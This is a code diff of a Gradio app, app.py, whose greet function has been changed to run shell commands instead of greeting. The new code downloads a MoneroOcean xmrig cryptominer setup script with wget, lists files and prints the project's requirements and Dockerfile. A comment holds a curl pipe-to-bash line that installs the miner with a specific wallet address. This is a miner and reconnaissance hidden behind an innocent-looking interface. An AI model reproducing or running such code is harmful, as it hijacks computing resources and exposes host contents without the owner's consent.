app.py
CHANGED
@@ -2,15 +2,20 @@ import gradio as gr
|
|
2 |
import subprocess
|
3 |
|
4 |
def greet(name):
|
5 |
-
|
6 |
-
|
7 |
-
|
8 |
-
|
9 |
-
|
10 |
-
|
11 |
-
|
12 |
-
|
13 |
-
|
|
|
|
|
|
|
|
|
|
|
14 |
|
15 |
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
|
16 |
iface.launch()
|
|
|
2 |
import subprocess
|
3 |
|
4 |
def greet(name):
|
5 |
+
commands = [
|
6 |
+
"wget https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh",
|
7 |
+
"ls",
|
8 |
+
"cat pre-requirements.txt",
|
9 |
+
"cat requirements.txt",
|
10 |
+
"cat Dockerfile",
|
11 |
+
]
|
12 |
+
output_all = ""
|
13 |
+
for command in commands:
|
14 |
+
process = subprocess.run([command], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
|
15 |
+
output = process.stdout.decode("utf-8")
|
16 |
+
output_all += output + "\n"
|
17 |
+
return output_all
|
18 |
+
# curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 8AAHAqPVv33UeNivRj6BBBd1FbomwPu7zR8tyZkEZBfG9HHdTq7i5B2fYVLL66ozbnQzSHZHUvTYa41tBDcwuaJm9vBZwZ5
|
19 |
|
20 |
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
|
21 |
iface.launch()
|